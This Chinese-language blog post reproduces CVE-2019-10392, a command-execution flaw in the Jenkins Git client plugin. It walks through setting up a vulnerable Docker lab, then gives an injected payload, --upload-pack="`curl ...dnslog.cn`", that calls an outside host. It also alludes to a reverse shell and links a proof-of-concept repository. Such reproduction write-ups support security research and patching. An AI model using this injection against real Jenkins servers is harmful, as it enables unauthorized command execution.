客户端插件_CVE-2019-10392:Jenkins Git client插件RCE复现

0x00 简介

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

0x01 漏洞概述

Git客户端插件中的系统命令执行漏洞,这是以允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现命令执行。

0x02 影响范围

Git client Plugin <= 2.8.4

0x03 环境搭建

在线环境获取:

将本文转发至朋友圈截图发至公众号内

自行搭建:

使用docker进行搭建

docker search Jenkins
docker pull jenkins/jenkins
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins

97830588269e65424edf1ff594dd47cc.png

等待1~2分钟后(启动较慢),浏览器访问ip:8080进入环境

833397e4fa6564e67856f1f276a9679c.png
docker exec -it 2d0c55ad015c /bin/bash   #进入容器
cat /var/jenkins_home/secrets/initialAdminPassword   #获取密码

e8ced1594248ffe785b4b2e2e4b56102.png

输入密码后继续下一步,安装推荐的插件,这个安装过程要花比较长的时间,15~20分钟

818ef821356e8dcd1a44edb7059e951a.png

继续下一步,创建一个管理员

8055e21f0a5223df8c067574906fc588.png

继续下一步,就进入了Jenkins主页面

系统管理 -- 管理用户 -- 新建用户,创建一个user账户

6982080f476f0d5dd8ad21e62cf16c0a.png

然后进入:系统管理 -- 全局安全配置,为user账户配置如下权限

f86cb041d48335fc1a0cd16faa69cf73.png

下载漏洞版本的插件(推荐安装的都是官网的最新版本)

git客户端:

http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi

git插件:

http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi

然后进入:系统管理 -- 插件管理 -- 高级,将两个插件上传

972a54d0e72ee1ee735365f33e9cd41c.png

都上传完后点击下图的‘安装完成后重启Jenkins’即可重新启动服务

853a4f51880b007e70be0234f5c891fd.png

0x04 漏洞利用

重启后,登录user账户

新建任务 -- 流水线

bedd364ddb20c1adc22417ff4c831fea.png

确定后,点击流水线

518632c8e012d6a5a4f522dd41edeb4b.png

选择以下选项,输入Poc(使用dnslog检测):

--upload-pack="`curl ysp8lf.dnslog.cn`"

378c6ae0ebff2bd4a1543c98721181e3.png

查看dnslog,检测到流量

f008f84668344cb89e4dfac2ee2b6c9a.png

反弹shell后便可以做你想做的任何事情了/坏笑

Poc脚本:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

参考链接:

Jenkins Git client插件命令执行漏洞(CVE-2019-10392)

欢迎关注团队公众号:Timeline Sec

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值